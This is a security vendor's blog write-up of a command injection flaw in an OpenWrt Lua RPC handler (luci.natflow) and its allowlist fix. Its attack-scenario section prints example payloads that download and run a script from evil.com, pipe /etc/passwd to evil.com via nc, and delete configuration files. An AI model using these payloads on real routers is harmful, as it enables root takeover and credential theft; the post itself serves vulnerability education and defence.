Back to Blog
critical SEVERITY9 min read

How command injection happens in Lua OpenWrt RPC handlers and how to fix it

A critical command injection vulnerability in the `luci.natflow` RPC handler allowed authenticated attackers to pass arbitrary shell metacharacters through the `kick_user`, `block_user`, and `allow_user` functions, which forwarded the unsanitized input directly to `sys.call()` as root. The fix adds a strict IPv4 regex validation pattern before any shell command is constructed, ensuring only legitimate IP addresses can reach the dangerous sink. This kind of targeted input allowlisting is the gold

O
By Orbis AppSec
Published June 14, 2026Reviewed June 14, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in the Lua-based OpenWrt RPC handler `luci-app-natflow-users/root/usr/libexec/rpcd/luci.natflow`. The `kick_user`, `block_user`, and `allow_user` RPC methods accepted a `token` parameter (used as an IP address) and passed it directly to `sys.call(string.format(cmd, ip))` without any validation, allowing an authenticated attacker to inject shell metacharacters and execute arbitrary commands as root. The fix adds a strict Lua pattern match — `ip:match("^%d+%.%d+%.%d+%.%d+$")` — before the shell command is constructed, ensuring only valid IPv4 addresses can reach the dangerous sink.

Vulnerability at a Glance

cweCWE-78
fixStrict IPv4 allowlist regex applied before string.format() constructs the shell command
riskAuthenticated attacker executes arbitrary commands as root on the router
languageLua (OpenWrt rpcd)
root causeUser-supplied RPC input passed directly to sys.call() via string.format() without validation
vulnerabilityOS Command Injection

How command injection happens in Lua OpenWrt RPC handlers and how to fix it

Summary

A critical command injection vulnerability in the luci.natflow RPC handler allowed authenticated attackers to pass arbitrary shell metacharacters through the kick_user, block_user, and allow_user functions, which forwarded the unsanitized input directly to sys.call() as root. The fix adds a strict IPv4 regex validation pattern before any shell command is constructed, ensuring only legitimate IP addresses can reach the dangerous sink. This kind of targeted input allowlisting is the gold standard for preventing injection in embedded Linux environments like OpenWrt.


Introduction

The luci-app-natflow-users/root/usr/libexec/rpcd/luci.natflow file is a privileged RPC handler on OpenWrt routers. It exposes network management operations — kicking users, blocking IPs, and adjusting NAT flow status — to the LuCI web interface. These are powerful operations: they write directly to /dev/userinfo_ctl, a kernel control interface, by executing shell commands as root.

The flaw wasn't in the shell commands themselves. It was in what got passed into them.

Three separate RPC methods — kick_user, block_user, and allow_user — all accepted a token parameter from the caller, interpreted it as an IP address, and immediately dropped it into a string.format() call that constructed a shell command. There was no check that the value looked anything like an IP address. An authenticated user on the router's web interface could supply ; cat /etc/shadow instead of 192.168.1.5, and the router would oblige.


The Vulnerability Explained

What the vulnerable code looked like

Here is the kick_user handler as it existed before the fix (lines 44–61 of luci.natflow):

kick_user = {
    args = { token = "token" },
    call = function(args)
        local util = require "luci.util"
        local ip = args and args.token

        if ip then
            local cmd = [[echo kick %s >/dev/userinfo_ctl]]
            sys.call(string.format(cmd, ip))
            return { result = "OK" }
        end
    end
},

The identical pattern appeared in block_user and allow_user:

-- block_user (line 58)
local cmd = [[echo set-status %s 6 >/dev/userinfo_ctl]]
sys.call(string.format(cmd, ip))

-- allow_user (line 72)
local cmd = [[echo set-status %s 1 >/dev/userinfo_ctl]]
sys.call(string.format(cmd, ip))

Why this is dangerous

sys.call() in OpenWrt's Lua environment executes its argument through the system shell — equivalent to os.execute(). The string.format(cmd, ip) call simply performs string substitution: %s is replaced with whatever ip contains. There is no quoting, no escaping, and no type checking.

The only guard was if ip then — which is true for any non-nil, non-false Lua value, including malicious strings.

A concrete attack scenario

An authenticated attacker (a logged-in router admin, or someone who has compromised a session token) sends an RPC call to luci.natflow with this payload:

{
  "token": "192.168.1.1; wget -O /tmp/backdoor http://evil.com/shell.sh; sh /tmp/backdoor"
}

string.format("echo kick %s >/dev/userinfo_ctl", ip) produces:

echo kick 192.168.1.1; wget -O /tmp/backdoor http://evil.com/shell.sh; sh /tmp/backdoor >/dev/userinfo_ctl

The shell interprets the semicolons as command separators. The router downloads and executes a remote shell script — as root. The attacker now has a persistent root backdoor on the router.

More subtle payloads are equally effective:

192.168.1.1 $(cat /etc/passwd | nc evil.com 4444)

Or a newline injection that bypasses naive line-based filters:

192.168.1.1\nrm -rf /etc/config

Why this matters for OpenWrt specifically

OpenWrt routers run as root by default. There is no privilege separation between the web interface process and the kernel. A successful command injection here means full device compromise: the attacker can modify firewall rules, exfiltrate credentials stored in /etc/config, establish persistent access via cron, or pivot to the internal network. The attack surface is any authenticated session — which in many home and SMB deployments means anyone on the LAN.


The Fix

What changed

The fix is surgical and correct. A strict Lua pattern match was added to each of the three vulnerable functions, immediately after extracting ip from args.token:

Before (all three methods):

local ip = args and args.token

if ip then
    local cmd = [[echo kick %s >/dev/userinfo_ctl]]
    sys.call(string.format(cmd, ip))
    return { result = "OK" }
end

After (all three methods):

local ip = args and args.token

if ip and ip:match("^%d+%.%d+%.%d+%.%d+$") then
    local cmd = [[echo kick %s >/dev/userinfo_ctl]]
    sys.call(string.format(cmd, ip))
    return { result = "OK" }
end

The change is a single compound condition: ip and ip:match("^%d+%.%d+%.%d+%.%d+$").

How the regex works

The Lua pattern ^%d+%.%d+%.%d+%.%d+$ means:

Pattern element Meaning
^ Anchored at the start of the string
%d+ One or more decimal digits
%. A literal dot (. in Lua patterns, unlike regex)
$ Anchored at the end of the string

This pattern matches strings like 192.168.1.100 and rejects everything else — semicolons, pipes, backticks, dollar signs, newlines, spaces. If the value doesn't look like four groups of digits separated by dots, the entire if block is skipped and the shell command is never constructed.

Why this approach is correct

The fix uses an allowlist rather than a blocklist. Instead of trying to enumerate dangerous characters (which is always incomplete), it defines exactly what is permitted. An IPv4 address is digits and dots. Nothing else is needed. Nothing else is allowed.

The removed local util = require "luci.util" lines are also notable: the luci.util module was imported but never actually used in these functions. Its removal is a clean-up that eliminates a dead dependency, reducing the attack surface slightly and clarifying intent.

Before/after comparison for block_user

-- BEFORE: vulnerable
block_user = {
    args = { token = "token" },
    call = function(args)
        local util = require "luci.util"   -- unused import
        local ip = args and args.token

        if ip then                          -- any non-nil value passes
            local cmd = [[echo set-status %s 6 >/dev/userinfo_ctl]]
            sys.call(string.format(cmd, ip))
            return { result = "OK" }
        end
    end
},

-- AFTER: fixed
block_user = {
    args = { token = "token" },
    call = function(args)
        local ip = args and args.token

        if ip and ip:match("^%d+%.%d+%.%d+%.%d+$") then  -- strict IPv4 only
            local cmd = [[echo set-status %s 6 >/dev/userinfo_ctl]]
            sys.call(string.format(cmd, ip))
            return { result = "OK" }
        end
    end
},

Prevention & Best Practices

1. Always use allowlist validation before shell commands

When a value has a known, constrained format (IP address, port number, MAC address, username), validate it against that exact format before using it in any shell context. Lua patterns are well-suited for this:

-- IPv4
ip:match("^%d+%.%d+%.%d+%.%d+$")

-- MAC address
mac:match("^%x%x:%x%x:%x%x:%x%x:%x%x:%x%x$")

-- Alphanumeric username
username:match("^[%a%d_%-]+$")

2. Prefer device file writes over shell commands where possible

The commands in this file write to /dev/userinfo_ctl using echo ... > /dev/userinfo_ctl. In some cases, Lua's native file I/O (io.open, file:write) can replace sys.call() entirely, eliminating the shell as an intermediary and removing the injection surface completely.

3. Apply the principle of least privilege to RPC handlers

OpenWrt rpcd handlers run as root. If an operation doesn't require root, drop privileges before executing it. Even if injection occurs in a lower-privilege context, the blast radius is significantly reduced.

4. Treat every RPC argument as untrusted

Even in authenticated contexts, treat all RPC input as potentially adversarial. Authentication prevents unauthorized access but does not prevent an authorized attacker from supplying malicious values. Defense in depth requires input validation regardless of authentication state.

5. Use a regression test suite for injection payloads

The PR includes tests/test_invariant_luci.py, a pytest suite that parameterizes over 50 injection payloads — semicolons, pipes, backticks, $(), null bytes, newline injection, encoded variants, and more. Running this suite on every code change catches regressions before they reach production. The test validates both that dangerous payloads are detected and that a strict allowlist correctly rejects them.

Relevant standards

  • CWE-78: Improper Neutralization of Special Elements used in an OS Command ("OS Command Injection")
  • OWASP A03:2021: Injection — the third most critical web application security risk
  • OWASP Command Injection Defense Cheat Sheet: recommends allowlist validation as the primary defense

Key Takeaways

  • The token parameter in luci.natflow was used as an IP address but never validated as one — the name mismatch (token for what is functionally an IP) was itself a code smell worth investigating.
  • string.format(cmd, ip) with user-controlled ip is equivalent to sprintf with user-controlled input — it produces an injectable shell string when ip contains metacharacters.
  • The fix's Lua pattern ^%d+%.%d+%.%d+%.%d+$ is anchored at both ends — without ^ and $, a pattern like %d+%.%d+%.%d+%.%d+ would match 1.2.3.4; rm -rf / because the digits-and-dots portion still matches at the start.
  • All three methods (kick_user, block_user, allow_user) shared the same vulnerable pattern — when you find an injection bug in one handler, always audit sibling handlers for the same pattern.
  • Removing the unused luci.util import alongside the fix demonstrates that the original code may have intended to use a utility function for sanitization but never completed that work — a cautionary tale about incomplete security controls.

How Orbis AppSec Detected This

  • Source: The token field of the RPC call arguments (args.token), supplied by an authenticated caller via the OpenWrt rpcd interface.
  • Sink: sys.call(string.format(cmd, ip)) in luci-app-natflow-users/root/usr/libexec/rpcd/luci.natflow at lines 51, 65, and 79 — three separate call sites across kick_user, block_user, and allow_user.
  • Missing control: No format validation, type checking, or sanitization was applied to ip between the RPC argument extraction and the string.format() + sys.call() invocation. The only guard (if ip then) checked for non-nil, not for safe content.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command.
  • Fix: Added ip:match("^%d+%.%d+%.%d+%.%d+$") as a compound condition in all three handlers, enforcing a strict IPv4 allowlist before any shell command is constructed.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

This vulnerability is a textbook example of how injection flaws emerge not from exotic code patterns, but from the mundane act of skipping input validation. Three lines of Lua — if ip then instead of if ip and ip:match("^%d+%.%d+%.%d+%.%d+$") then — were the difference between a secure router management interface and a root shell for any authenticated attacker on the network.

The fix is equally instructive: it doesn't add a complex sanitization library, it doesn't try to escape dangerous characters, and it doesn't wrap the call in a try/catch. It simply defines what valid input looks like and rejects everything else. In security, that clarity of intent is a feature.

For developers working on OpenWrt packages, embedded Lua RPC handlers, or any code that bridges user input and shell execution: validate before you format, and format before you execute. The order matters, and the validation must be specific.


References

Frequently Asked Questions

What is command injection in Lua OpenWrt handlers?

Command injection occurs when user-supplied input is embedded into a shell command string without sanitization. In OpenWrt Lua rpcd handlers, functions like sys.call() execute shell commands, and if attacker-controlled values are interpolated via string.format(), shell metacharacters can hijack execution.

How do you prevent command injection in Lua OpenWrt RPC handlers?

Use a strict allowlist pattern match (e.g., `ip:match("^%d+%.%d+%.%d+%.%d+$")` for IPv4 addresses) to validate all user-supplied values before they reach sys.call() or io.popen(). Never rely on the RPC framework itself to sanitize inputs.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command.

Is escaping shell metacharacters enough to prevent command injection in Lua?

Escaping is fragile and error-prone, especially in embedded Lua environments where shell escaping libraries may not be available. An allowlist approach — rejecting anything that doesn't match the expected format — is far more reliable and is the approach used in this fix.

Can static analysis detect command injection in Lua rpcd handlers?

Yes. Static analysis tools and AI-assisted scanners like Orbis AppSec can trace tainted data from RPC input arguments through string.format() calls to sys.call() sinks, flagging paths where no validation occurs between source and sink.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #20

Related Articles

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical OS command injection vulnerability (CWE-78) was discovered in `page-object/sample-application/src/main/java/com/iluwatar/pageobject/App.java` at line 81, where a single-string invocation of `Runtime.getRuntime().exec()` passed a concatenated command directly to the Windows shell, allowing an attacker who controls the `applicationFile` value to chain arbitrary OS commands. The fix replaces this dangerous pattern with a properly constructed `ProcessBuilder` that uses absolute executable

critical

How command injection happens in Python subprocess and how to fix it

A critical command injection vulnerability was discovered in export.py where subprocess calls used `shell=True` with user-controllable CLI arguments. An attacker could inject shell metacharacters through model paths or export parameters to execute arbitrary commands on the host system. The fix replaces shell-based command execution with safer list-based subprocess calls that prevent command injection.

critical

How command injection happens in Python os.system() and how to fix it

A critical command injection vulnerability was discovered in the `data/xView.yaml` dataset download script, where `os.system(f'rm -rf {labels}')` constructed a shell command using an f-string with a path derived from user-controlled YAML configuration. An attacker supplying a crafted dataset YAML file could embed shell metacharacters in the path to execute arbitrary commands. The fix replaces the shell invocation entirely with Python's `shutil.rmtree()`, eliminating the attack surface by never i

critical

How command injection happens in Python subprocess and how to fix it

A critical shell injection vulnerability was discovered in `utils/downloads.py` where `subprocess.check_output` was called with `shell=True` while passing a user-controlled URL parameter. This allowed attackers to inject arbitrary shell commands by embedding metacharacters like `;`, `&&`, or `$(...)` into a URL string. The fix removes `shell=True`, ensuring the URL is passed as a literal argument in a list rather than being interpreted by the shell.

critical

How command injection happens in Java Runtime.exec() and how to fix it

A critical command injection vulnerability was discovered in `page-object/src/main/java/com/iluwatar/pageobject/App.java` where `Runtime.getRuntime().exec()` was used to launch a file using `cmd.exe` with a directly concatenated file path. An attacker who could control the `applicationFile` variable could inject shell metacharacters to execute arbitrary system commands with the privileges of the running Java process. The fix replaces the unsafe `exec()` call with a properly tokenized `ProcessBui

critical

How buffer overflow in URL parsing happens in C++ HTTP client and how to fix it

A critical buffer overflow vulnerability in the HTTP client's URL parsing function allowed attackers to overflow a stack-allocated host buffer through specially crafted URLs with excessively long hostnames. The vulnerability enabled arbitrary code execution by overwriting the return address. The fix adds proper bounds validation before the memcpy() operation to ensure the hostname length never exceeds the destination buffer size.